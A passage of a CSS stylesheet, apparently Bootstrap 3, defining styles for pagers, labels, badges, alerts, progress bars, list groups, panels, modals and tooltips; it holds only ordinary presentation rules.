  background-color:#fff;
  border:1px solid #ddd;
  border-radius:15px
}
.pager li>a:hover,
.pager li>a:focus {
  text-decoration:none;
  background-color:#eee
}
.pager .next>a,
.pager .next>span {
  float:right
}
.pager .previous>a,
.pager .previous>span {
  float:left
}
.pager .disabled>a,
.pager .disabled>a:hover,
.pager .disabled>a:focus,
.pager .disabled>span {
  color:#777;
  cursor:not-allowed;
  background-color:#fff
}
.label {
  display:inline;
  padding:.2em .6em .3em;
  font-size:75%;
  font-weight:700;
  line-height:1;
  color:#fff;
  text-align:center;
  white-space:nowrap;
  vertical-align:baseline;
  border-radius:.25em
}
a.label:hover,
a.label:focus {
  color:#fff;
  text-decoration:none;
  cursor:pointer
}
.label:empty {
  display:none
}
.btn .label {
  position:relative;
  top:-1px
}
.label-default {
  background-color:#777
}
.label-default[href]:hover,
.label-default[href]:focus {
  background-color:#5e5e5e
}
.label-primary {
  background-color:#337ab7
}
.label-primary[href]:hover,
.label-primary[href]:focus {
  background-color:#286090
}
.label-success {
  background-color:#5cb85c
}
.label-success[href]:hover,
.label-success[href]:focus {
  background-color:#449d44
}
.label-info {
  background-color:#5bc0de
}
.label-info[href]:hover,
.label-info[href]:focus {
  background-color:#31b0d5
}
.label-warning {
  background-color:#f0ad4e
}
.label-warning[href]:hover,
.label-warning[href]:focus {
  background-color:#ec971f
}
.label-danger {
  background-color:#d9534f
}
.label-danger[href]:hover,
.label-danger[href]:focus {
  background-color:#c9302c
}
.badge {
  display:inline-block;
  min-width:10px;
  padding:3px 7px;
  font-size:12px;
  font-weight:700;
  line-height:1;
  color:#fff;
  text-align:center;
  white-space:nowrap;
  vertical-align:middle;
  background-color:#777;
  border-radius:10px
}
.badge:empty {
  display:none
}
.btn .badge {
  position:relative;
  top:-1px
}
.btn-xs .badge,
.btn-group-xs>.btn .badge {
  top:0;
  padding:1px 5px
}
a.badge:hover,
a.badge:focus {
  color:#fff;
  text-decoration:none;
  cursor:pointer
}
.list-group-item.active>.badge,
.nav-pills>.active>a>.badge {
  color:#337ab7;
  background-color:#fff
}
.list-group-item>.badge {
  float:right
}
.list-group-item>.badge+.badge {
  margin-right:5px
}
.nav-pills>li>a>.badge {
  margin-left:3px
}
.jumbotron {
  padding-top:30px;
  padding-bottom:30px;
  margin-bottom:30px;
  color:inherit;
  background-color:#eee
}
.jumbotron h1,
.jumbotron .h1 {
  color:inherit
}
.jumbotron p {
  margin-bottom:15px;
  font-size:21px;
  font-weight:200
}
.jumbotron>hr {
  border-top-color:#d5d5d5
}
.container .jumbotron,
.container-fluid .jumbotron {
  padding-right:15px;
  padding-left:15px;
  border-radius:6px
}
.jumbotron .container {
  max-width:100%
}
@media screen and (min-width: 768px) {
  .jumbotron {
    padding-top:48px;
    padding-bottom:48px
  }
  .container .jumbotron,
  .container-fluid .jumbotron {
    padding-right:60px;
    padding-left:60px
  }
  .jumbotron h1,
  .jumbotron .h1 {
    font-size:63px
  }
}
.thumbnail {
  display:block;
  padding:4px;
  margin-bottom:20px;
  line-height:1.42857143;
  background-color:#fff;
  border:1px solid #ddd;
  border-radius:4px;
  -webkit-transition:border .2s ease-in-out;
  -o-transition:border .2s ease-in-out;
  transition:border .2s ease-in-out
}
.thumbnail>img,
.thumbnail a>img {
  margin-right:auto;
  margin-left:auto
}
a.thumbnail:hover,
a.thumbnail:focus,
a.thumbnail.active {
  border-color:#337ab7
}
.thumbnail .caption {
  padding:9px;
  color:#333
}
.alert {
  padding:15px;
  margin-bottom:20px;
  border:1px solid transparent;
  border-radius:4px
}
.alert h4 {
  margin-top:0;
  color:inherit
}
.alert .alert-link {
  font-weight:700
}
.alert>p,
.alert>ul {
  margin-bottom:0
}
.alert>p+p {
  margin-top:5px
}
.alert-dismissable,
.alert-dismissible {
  padding-right:35px
}
.alert-dismissable .close,
.alert-dismissible .close {
  position:relative;
  top:-2px;
  right:-21px;
  color:inherit
}
.alert-success {
  color:#3c763d;
  background-color:#dff0d8;
  border-color:#d6e9c6
}
.alert-success hr {
  border-top-color:#c9e2b3
}
.alert-success .alert-link {
  color:#2b542c
}
.alert-info {
  color:#31708f;
  background-color:#d9edf7;
  border-color:#bce8f1
}
.alert-info hr {
  border-top-color:#a6e1ec
}
.alert-info .alert-link {
  color:#245269
}
.alert-warning {
  color:#8a6d3b;
  background-color:#fcf8e3;
  border-color:#faebcc
}
.alert-warning hr {
  border-top-color:#f7e1b5
}
.alert-warning .alert-link {
  color:#66512c
}
.alert-danger {
  color:#a94442;
  background-color:#f2dede;
  border-color:#ebccd1
}
.alert-danger hr {
  border-top-color:#e4b9c0
}
.alert-danger .alert-link {
  color:#843534
}
@-webkit-keyframes progress-bar-stripes {
  0% {
    background-position:40px 0
  }
  to {
    background-position:0 0
  }
}
@keyframes progress-bar-stripes {
  0% {
    background-position:40px 0
  }
  to {
    background-position:0 0
  }
}
.progress {
  height:20px;
  margin-bottom:20px;
  overflow:hidden;
  background-color:#f5f5f5;
  border-radius:4px;
  -webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,.1);
  box-shadow:inset 0 1px 2px #0000001a
}
.progress-bar {
  float:left;
  width:0%;
  height:100%;
  font-size:12px;
  line-height:20px;
  color:#fff;
  text-align:center;
  background-color:#337ab7;
  -webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);
  box-shadow:inset 0 -1px #00000026;
  -webkit-transition:width .6s ease;
  -o-transition:width .6s ease;
  transition:width .6s ease
}
.progress-striped .progress-bar,
.progress-bar-striped {
  background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);
  background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);
  background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);
  background-size:40px 40px
}
.progress.active .progress-bar,
.progress-bar.active {
  -webkit-animation:progress-bar-stripes 2s linear infinite;
  -o-animation:progress-bar-stripes 2s linear infinite;
  animation:progress-bar-stripes 2s linear infinite
}
.progress-bar-success {
  background-color:#5cb85c
}
.progress-striped .progress-bar-success {
  background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);
  background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);
  background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)
}
.progress-bar-info {
  background-color:#5bc0de
}
.progress-striped .progress-bar-info {
  background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);
  background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);
  background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)
}
.progress-bar-warning {
  background-color:#f0ad4e
}
.progress-striped .progress-bar-warning {
  background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);
  background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);
  background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)
}
.progress-bar-danger {
  background-color:#d9534f
}
.progress-striped .progress-bar-danger {
  background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);
  background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);
  background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)
}
.media {
  margin-top:15px
}
.media:first-child {
  margin-top:0
}
.media,
.media-body {
  overflow:hidden;
  zoom:1
}
.media-body {
  width:10000px
}
.media-object {
  display:block
}
.media-object.img-thumbnail {
  max-width:none
}
.media-right,
.media>.pull-right {
  padding-left:10px
}
.media-left,
.media>.pull-left {
  padding-right:10px
}
.media-left,
.media-right,
.media-body {
  display:table-cell;
  vertical-align:top
}
.media-middle {
  vertical-align:middle
}
.media-bottom {
  vertical-align:bottom
}
.media-heading {
  margin-top:0;
  margin-bottom:5px
}
.media-list {
  padding-left:0;
  list-style:none
}
.list-group {
  padding-left:0;
  margin-bottom:20px
}
.list-group-item {
  position:relative;
  display:block;
  padding:10px 15px;
  margin-bottom:-1px;
  background-color:#fff;
  border:1px solid #ddd
}
.list-group-item:first-child {
  border-top-left-radius:4px;
  border-top-right-radius:4px
}
.list-group-item:last-child {
  margin-bottom:0;
  border-bottom-right-radius:4px;
  border-bottom-left-radius:4px
}
.list-group-item.disabled,
.list-group-item.disabled:hover,
.list-group-item.disabled:focus {
  color:#777;
  cursor:not-allowed;
  background-color:#eee
}
.list-group-item.disabled .list-group-item-heading,
.list-group-item.disabled:hover .list-group-item-heading,
.list-group-item.disabled:focus .list-group-item-heading {
  color:inherit
}
.list-group-item.disabled .list-group-item-text,
.list-group-item.disabled:hover .list-group-item-text,
.list-group-item.disabled:focus .list-group-item-text {
  color:#777
}
.list-group-item.active,
.list-group-item.active:hover,
.list-group-item.active:focus {
  z-index:2;
  color:#fff;
  background-color:#337ab7;
  border-color:#337ab7
}
.list-group-item.active .list-group-item-heading,
.list-group-item.active:hover .list-group-item-heading,
.list-group-item.active:focus .list-group-item-heading,
.list-group-item.active .list-group-item-heading>small,
.list-group-item.active:hover .list-group-item-heading>small,
.list-group-item.active:focus .list-group-item-heading>small,
.list-group-item.active .list-group-item-heading>.small,
.list-group-item.active:hover .list-group-item-heading>.small,
.list-group-item.active:focus .list-group-item-heading>.small {
  color:inherit
}
.list-group-item.active .list-group-item-text,
.list-group-item.active:hover .list-group-item-text,
.list-group-item.active:focus .list-group-item-text {
  color:#c7ddef
}
a.list-group-item,
button.list-group-item {
  color:#555
}
a.list-group-item .list-group-item-heading,
button.list-group-item .list-group-item-heading {
  color:#333
}
a.list-group-item:hover,
button.list-group-item:hover,
a.list-group-item:focus,
button.list-group-item:focus {
  color:#555;
  text-decoration:none;
  background-color:#f5f5f5
}
button.list-group-item {
  width:100%;
  text-align:left
}
.list-group-item-success {
  color:#3c763d;
  background-color:#dff0d8
}
a.list-group-item-success,
button.list-group-item-success {
  color:#3c763d
}
a.list-group-item-success .list-group-item-heading,
button.list-group-item-success .list-group-item-heading {
  color:inherit
}
a.list-group-item-success:hover,
button.list-group-item-success:hover,
a.list-group-item-success:focus,
button.list-group-item-success:focus {
  color:#3c763d;
  background-color:#d0e9c6
}
a.list-group-item-success.active,
button.list-group-item-success.active,
a.list-group-item-success.active:hover,
button.list-group-item-success.active:hover,
a.list-group-item-success.active:focus,
button.list-group-item-success.active:focus {
  color:#fff;
  background-color:#3c763d;
  border-color:#3c763d
}
.list-group-item-info {
  color:#31708f;
  background-color:#d9edf7
}
a.list-group-item-info,
button.list-group-item-info {
  color:#31708f
}
a.list-group-item-info .list-group-item-heading,
button.list-group-item-info .list-group-item-heading {
  color:inherit
}
a.list-group-item-info:hover,
button.list-group-item-info:hover,
a.list-group-item-info:focus,
button.list-group-item-info:focus {
  color:#31708f;
  background-color:#c4e3f3
}
a.list-group-item-info.active,
button.list-group-item-info.active,
a.list-group-item-info.active:hover,
button.list-group-item-info.active:hover,
a.list-group-item-info.active:focus,
button.list-group-item-info.active:focus {
  color:#fff;
  background-color:#31708f;
  border-color:#31708f
}
.list-group-item-warning {
  color:#8a6d3b;
  background-color:#fcf8e3
}
a.list-group-item-warning,
button.list-group-item-warning {
  color:#8a6d3b
}
a.list-group-item-warning .list-group-item-heading,
button.list-group-item-warning .list-group-item-heading {
  color:inherit
}
a.list-group-item-warning:hover,
button.list-group-item-warning:hover,
a.list-group-item-warning:focus,
button.list-group-item-warning:focus {
  color:#8a6d3b;
  background-color:#faf2cc
}
a.list-group-item-warning.active,
button.list-group-item-warning.active,
a.list-group-item-warning.active:hover,
button.list-group-item-warning.active:hover,
a.list-group-item-warning.active:focus,
button.list-group-item-warning.active:focus {
  color:#fff;
  background-color:#8a6d3b;
  border-color:#8a6d3b
}
.list-group-item-danger {
  color:#a94442;
  background-color:#f2dede
}
a.list-group-item-danger,
button.list-group-item-danger {
  color:#a94442
}
a.list-group-item-danger .list-group-item-heading,
button.list-group-item-danger .list-group-item-heading {
  color:inherit
}
a.list-group-item-danger:hover,
button.list-group-item-danger:hover,
a.list-group-item-danger:focus,
button.list-group-item-danger:focus {
  color:#a94442;
  background-color:#ebcccc
}
a.list-group-item-danger.active,
button.list-group-item-danger.active,
a.list-group-item-danger.active:hover,
button.list-group-item-danger.active:hover,
a.list-group-item-danger.active:focus,
button.list-group-item-danger.active:focus {
  color:#fff;
  background-color:#a94442;
  border-color:#a94442
}
.list-group-item-heading {
  margin-top:0;
  margin-bottom:5px
}
.list-group-item-text {
  margin-bottom:0;
  line-height:1.3
}
.panel {
  margin-bottom:20px;
  background-color:#fff;
  border:1px solid transparent;
  border-radius:4px;
  -webkit-box-shadow:0 1px 1px rgba(0,0,0,.05);
  box-shadow:0 1px 1px #0000000d
}
.panel-body {
  padding:15px
}
.panel-heading {
  padding:10px 15px;
  border-bottom:1px solid transparent;
  border-top-left-radius:3px;
  border-top-right-radius:3px
}
.panel-heading>.dropdown .dropdown-toggle {
  color:inherit
}
.panel-title {
  margin-top:0;
  margin-bottom:0;
  font-size:16px;
  color:inherit
}
.panel-title>a,
.panel-title>small,
.panel-title>.small,
.panel-title>small>a,
.panel-title>.small>a {
  color:inherit
}
.panel-footer {
  padding:10px 15px;
  background-color:#f5f5f5;
  border-top:1px solid #ddd;
  border-bottom-right-radius:3px;
  border-bottom-left-radius:3px
}
.panel>.list-group,
.panel>.panel-collapse>.list-group {
  margin-bottom:0
}
.panel>.list-group .list-group-item,
.panel>.panel-collapse>.list-group .list-group-item {
  border-width:1px 0;
  border-radius:0
}
.panel>.list-group:first-child .list-group-item:first-child,
.panel>.panel-collapse>.list-group:first-child .list-group-item:first-child {
  border-top:0;
  border-top-left-radius:3px;
  border-top-right-radius:3px
}
.panel>.list-group:last-child .list-group-item:last-child,
.panel>.panel-collapse>.list-group:last-child .list-group-item:last-child {
  border-bottom:0;
  border-bottom-right-radius:3px;
  border-bottom-left-radius:3px
}
.panel>.panel-heading+.panel-collapse>.list-group .list-group-item:first-child {
  border-top-left-radius:0;
  border-top-right-radius:0
}
.panel-heading+.list-group .list-group-item:first-child {
  border-top-width:0
}
.list-group+.panel-footer {
  border-top-width:0
}
.panel>.table,
.panel>.table-responsive>.table,
.panel>.panel-collapse>.table {
  margin-bottom:0
}
.panel>.table caption,
.panel>.table-responsive>.table caption,
.panel>.panel-collapse>.table caption {
  padding-right:15px;
  padding-left:15px
}
.panel>.table:first-child,
.panel>.table-responsive:first-child>.table:first-child {
  border-top-left-radius:3px;
  border-top-right-radius:3px
}
.panel>.table:first-child>thead:first-child>tr:first-child,
.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child,
.panel>.table:first-child>tbody:first-child>tr:first-child,
.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child {
  border-top-left-radius:3px;
  border-top-right-radius:3px
}
.panel>.table:first-child>thead:first-child>tr:first-child td:first-child,
.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:first-child,
.panel>.table:first-child>tbody:first-child>tr:first-child td:first-child,
.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:first-child,
.panel>.table:first-child>thead:first-child>tr:first-child th:first-child,
.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:first-child,
.panel>.table:first-child>tbody:first-child>tr:first-child th:first-child,
.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:first-child {
  border-top-left-radius:3px
}
.panel>.table:first-child>thead:first-child>tr:first-child td:last-child,
.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:last-child,
.panel>.table:first-child>tbody:first-child>tr:first-child td:last-child,
.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:last-child,
.panel>.table:first-child>thead:first-child>tr:first-child th:last-child,
.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:last-child,
.panel>.table:first-child>tbody:first-child>tr:first-child th:last-child,
.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:last-child {
  border-top-right-radius:3px
}
.panel>.table:last-child,
.panel>.table-responsive:last-child>.table:last-child {
  border-bottom-right-radius:3px;
  border-bottom-left-radius:3px
}
.panel>.table:last-child>tbody:last-child>tr:last-child,
.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child,
.panel>.table:last-child>tfoot:last-child>tr:last-child,
.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child {
  border-bottom-right-radius:3px;
  border-bottom-left-radius:3px
}
.panel>.table:last-child>tbody:last-child>tr:last-child td:first-child,
.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:first-child,
.panel>.table:last-child>tfoot:last-child>tr:last-child td:first-child,
.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:first-child,
.panel>.table:last-child>tbody:last-child>tr:last-child th:first-child,
.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:first-child,
.panel>.table:last-child>tfoot:last-child>tr:last-child th:first-child,
.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:first-child {
  border-bottom-left-radius:3px
}
.panel>.table:last-child>tbody:last-child>tr:last-child td:last-child,
.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:last-child,
.panel>.table:last-child>tfoot:last-child>tr:last-child td:last-child,
.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:last-child,
.panel>.table:last-child>tbody:last-child>tr:last-child th:last-child,
.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:last-child,
.panel>.table:last-child>tfoot:last-child>tr:last-child th:last-child,
.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:last-child {
  border-bottom-right-radius:3px
}
.panel>.panel-body+.table,
.panel>.panel-body+.table-responsive,
.panel>.table+.panel-body,
.panel>.table-responsive+.panel-body {
  border-top:1px solid #ddd
}
.panel>.table>tbody:first-child>tr:first-child th,
.panel>.table>tbody:first-child>tr:first-child td {
  border-top:0
}
.panel>.table-bordered,
.panel>.table-responsive>.table-bordered {
  border:0
}
.panel>.table-bordered>thead>tr>th:first-child,
.panel>.table-responsive>.table-bordered>thead>tr>th:first-child,
.panel>.table-bordered>tbody>tr>th:first-child,
.panel>.table-responsive>.table-bordered>tbody>tr>th:first-child,
.panel>.table-bordered>tfoot>tr>th:first-child,
.panel>.table-responsive>.table-bordered>tfoot>tr>th:first-child,
.panel>.table-bordered>thead>tr>td:first-child,
.panel>.table-responsive>.table-bordered>thead>tr>td:first-child,
.panel>.table-bordered>tbody>tr>td:first-child,
.panel>.table-responsive>.table-bordered>tbody>tr>td:first-child,
.panel>.table-bordered>tfoot>tr>td:first-child,
.panel>.table-responsive>.table-bordered>tfoot>tr>td:first-child {
  border-left:0
}
.panel>.table-bordered>thead>tr>th:last-child,
.panel>.table-responsive>.table-bordered>thead>tr>th:last-child,
.panel>.table-bordered>tbody>tr>th:last-child,
.panel>.table-responsive>.table-bordered>tbody>tr>th:last-child,
.panel>.table-bordered>tfoot>tr>th:last-child,
.panel>.table-responsive>.table-bordered>tfoot>tr>th:last-child,
.panel>.table-bordered>thead>tr>td:last-child,
.panel>.table-responsive>.table-bordered>thead>tr>td:last-child,
.panel>.table-bordered>tbody>tr>td:last-child,
.panel>.table-responsive>.table-bordered>tbody>tr>td:last-child,
.panel>.table-bordered>tfoot>tr>td:last-child,
.panel>.table-responsive>.table-bordered>tfoot>tr>td:last-child {
  border-right:0
}
.panel>.table-bordered>thead>tr:first-child>td,
.panel>.table-responsive>.table-bordered>thead>tr:first-child>td,
.panel>.table-bordered>tbody>tr:first-child>td,
.panel>.table-responsive>.table-bordered>tbody>tr:first-child>td,
.panel>.table-bordered>thead>tr:first-child>th,
.panel>.table-responsive>.table-bordered>thead>tr:first-child>th,
.panel>.table-bordered>tbody>tr:first-child>th,
.panel>.table-responsive>.table-bordered>tbody>tr:first-child>th {
  border-bottom:0
}
.panel>.table-bordered>tbody>tr:last-child>td,
.panel>.table-responsive>.table-bordered>tbody>tr:last-child>td,
.panel>.table-bordered>tfoot>tr:last-child>td,
.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>td,
.panel>.table-bordered>tbody>tr:last-child>th,
.panel>.table-responsive>.table-bordered>tbody>tr:last-child>th,
.panel>.table-bordered>tfoot>tr:last-child>th,
.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>th {
  border-bottom:0
}
.panel>.table-responsive {
  margin-bottom:0;
  border:0
}
.panel-group {
  margin-bottom:20px
}
.panel-group .panel {
  margin-bottom:0;
  border-radius:4px
}
.panel-group .panel+.panel {
  margin-top:5px
}
.panel-group .panel-heading {
  border-bottom:0
}
.panel-group .panel-heading+.panel-collapse>.panel-body,
.panel-group .panel-heading+.panel-collapse>.list-group {
  border-top:1px solid #ddd
}
.panel-group .panel-footer {
  border-top:0
}
.panel-group .panel-footer+.panel-collapse .panel-body {
  border-bottom:1px solid #ddd
}
.panel-default {
  border-color:#ddd
}
.panel-default>.panel-heading {
  color:#333;
  background-color:#f5f5f5;
  border-color:#ddd
}
.panel-default>.panel-heading+.panel-collapse>.panel-body {
  border-top-color:#ddd
}
.panel-default>.panel-heading .badge {
  color:#f5f5f5;
  background-color:#333
}
.panel-default>.panel-footer+.panel-collapse>.panel-body {
  border-bottom-color:#ddd
}
.panel-primary {
  border-color:#337ab7
}
.panel-primary>.panel-heading {
  color:#fff;
  background-color:#337ab7;
  border-color:#337ab7
}
.panel-primary>.panel-heading+.panel-collapse>.panel-body {
  border-top-color:#337ab7
}
.panel-primary>.panel-heading .badge {
  color:#337ab7;
  background-color:#fff
}
.panel-primary>.panel-footer+.panel-collapse>.panel-body {
  border-bottom-color:#337ab7
}
.panel-success {
  border-color:#d6e9c6
}
.panel-success>.panel-heading {
  color:#3c763d;
  background-color:#dff0d8;
  border-color:#d6e9c6
}
.panel-success>.panel-heading+.panel-collapse>.panel-body {
  border-top-color:#d6e9c6
}
.panel-success>.panel-heading .badge {
  color:#dff0d8;
  background-color:#3c763d
}
.panel-success>.panel-footer+.panel-collapse>.panel-body {
  border-bottom-color:#d6e9c6
}
.panel-info {
  border-color:#bce8f1
}
.panel-info>.panel-heading {
  color:#31708f;
  background-color:#d9edf7;
  border-color:#bce8f1
}
.panel-info>.panel-heading+.panel-collapse>.panel-body {
  border-top-color:#bce8f1
}
.panel-info>.panel-heading .badge {
  color:#d9edf7;
  background-color:#31708f
}
.panel-info>.panel-footer+.panel-collapse>.panel-body {
  border-bottom-color:#bce8f1
}
.panel-warning {
  border-color:#faebcc
}
.panel-warning>.panel-heading {
  color:#8a6d3b;
  background-color:#fcf8e3;
  border-color:#faebcc
}
.panel-warning>.panel-heading+.panel-collapse>.panel-body {
  border-top-color:#faebcc
}
.panel-warning>.panel-heading .badge {
  color:#fcf8e3;
  background-color:#8a6d3b
}
.panel-warning>.panel-footer+.panel-collapse>.panel-body {
  border-bottom-color:#faebcc
}
.panel-danger {
  border-color:#ebccd1
}
.panel-danger>.panel-heading {
  color:#a94442;
  background-color:#f2dede;
  border-color:#ebccd1
}
.panel-danger>.panel-heading+.panel-collapse>.panel-body {
  border-top-color:#ebccd1
}
.panel-danger>.panel-heading .badge {
  color:#f2dede;
  background-color:#a94442
}
.panel-danger>.panel-footer+.panel-collapse>.panel-body {
  border-bottom-color:#ebccd1
}
.embed-responsive {
  position:relative;
  display:block;
  height:0;
  padding:0;
  overflow:hidden
}
.embed-responsive .embed-responsive-item,
.embed-responsive iframe,
.embed-responsive embed,
.embed-responsive object,
.embed-responsive video {
  position:absolute;
  top:0;
  bottom:0;
  left:0;
  width:100%;
  height:100%;
  border:0
}
.embed-responsive-16by9 {
  padding-bottom:56.25%
}
.embed-responsive-4by3 {
  padding-bottom:75%
}
.well {
  min-height:20px;
  padding:19px;
  margin-bottom:20px;
  background-color:#f5f5f5;
  border:1px solid #e3e3e3;
  border-radius:4px;
  -webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.05);
  box-shadow:inset 0 1px 1px #0000000d
}
.well blockquote {
  border-color:#ddd;
  border-color:#00000026
}
.well-lg {
  padding:24px;
  border-radius:6px
}
.well-sm {
  padding:9px;
  border-radius:3px
}
.close {
  float:right;
  font-size:21px;
  font-weight:700;
  line-height:1;
  color:#000;
  text-shadow:0 1px 0 #fff;
  filter:alpha(opacity=20);
  opacity:.2
}
.close:hover,
.close:focus {
  color:#000;
  text-decoration:none;
  cursor:pointer;
  filter:alpha(opacity=50);
  opacity:.5
}
button.close {
  padding:0;
  cursor:pointer;
  background:transparent;
  border:0;
  -webkit-appearance:none;
  -moz-appearance:none;
  appearance:none
}
.modal-open {
  overflow:hidden
}
.modal {
  position:fixed;
  inset:0;
  z-index:1050;
  display:none;
  overflow:hidden;
  -webkit-overflow-scrolling:touch;
  outline:0
}
.modal.fade .modal-dialog {
  -webkit-transform:translate(0,-25%);
  -ms-transform:translate(0,-25%);
  -o-transform:translate(0,-25%);
  transform:translateY(-25%);
  -webkit-transition:-webkit-transform .3s ease-out;
  -moz-transition:-moz-transform .3s ease-out;
  -o-transition:-o-transform .3s ease-out;
  transition:transform .3s ease-out
}
.modal.in .modal-dialog {
  -webkit-transform:translate(0,0);
  -ms-transform:translate(0,0);
  -o-transform:translate(0,0);
  transform:translate(0)
}
.modal-open .modal {
  overflow-x:hidden;
  overflow-y:auto
}
.modal-dialog {
  position:relative;
  width:auto;
  margin:10px
}
.modal-content {
  position:relative;
  background-color:#fff;
  background-clip:padding-box;
  border:1px solid #999;
  border:1px solid rgba(0,0,0,.2);
  border-radius:6px;
  -webkit-box-shadow:0 3px 9px rgba(0,0,0,.5);
  box-shadow:0 3px 9px #00000080;
  outline:0
}
.modal-backdrop {
  position:fixed;
  inset:0;
  z-index:1040;
  background-color:#000
}
.modal-backdrop.fade {
  filter:alpha(opacity=0);
  opacity:0
}
.modal-backdrop.in {
  filter:alpha(opacity=50);
  opacity:.5
}
.modal-header {
  padding:15px;
  border-bottom:1px solid #e5e5e5
}
.modal-header .close {
  margin-top:-2px
}
.modal-title {
  margin:0;
  line-height:1.42857143
}
.modal-body {
  position:relative;
  padding:15px
}
.modal-footer {
  padding:15px;
  text-align:right;
  border-top:1px solid #e5e5e5
}
.modal-footer .btn+.btn {
  margin-bottom:0;
  margin-left:5px
}
.modal-footer .btn-group .btn+.btn {
  margin-left:-1px
}
.modal-footer .btn-block+.btn-block {
  margin-left:0
}
.modal-scrollbar-measure {
  position:absolute;
  top:-9999px;
  width:50px;
  height:50px;
  overflow:scroll
}
@media (min-width: 768px) {
  .modal-dialog {
    width:600px;
    margin:30px auto
  }
  .modal-content {
    -webkit-box-shadow:0 5px 15px rgba(0,0,0,.5);
    box-shadow:0 5px 15px #00000080
  }
  .modal-sm {
    width:300px
  }
}
@media (min-width: 992px) {
  .modal-lg {
    width:900px
  }
}
.tooltip {
  position:absolute;
  z-index:1070;
  display:block;
  font-family:Helvetica Neue,Helvetica,Arial,sans-serif;
  font-style:normal;
  font-weight:400;
  line-height:1.42857143;
  line-break:auto;
  text-align:left;
  text-align:start;
  text-decoration:none;
  text-shadow:none;
  text-transform:none;
  letter-spacing:normal;
  word-break:normal;
  word-spacing:normal;
  word-wrap:normal;
  white-space:normal;
  font-size:12px;
  filter:alpha(opacity=0);
  opacity:0
}
.tooltip.in {
  filter:alpha(opacity=90);
  opacity:.9
}
.tooltip.top {
  padding:5px 0;
  margin-top:-3px
}
.tooltip.right {
  padding:0 5px;
  margin-left:3px
}
.tooltip.bottom {
  padding:5px 0;
  margin-top:3px
}
.tooltip.left {
  padding:0 5px;
  margin-left:-3px
}
.tooltip.top .tooltip-arrow {
  bottom:0;
  left:50%;
  margin-left:-5px;
  border-width:5px 5px 0;
  border-top-color:#000
}
.tooltip.top-left .tooltip-arrow {
  right:5px;
  bottom:0;
  margin-bottom:-5px;
  border-width:5px 5px 0;
  border-top-color:#000
}
.tooltip.top-right .tooltip-arrow {
  bottom:0;
  left:5px;
  margin-bottom:-5px;
  border-width:5px 5px 0;
  border-top-color:#000
}
.tooltip.right .tooltip-arrow {
  top:50%;
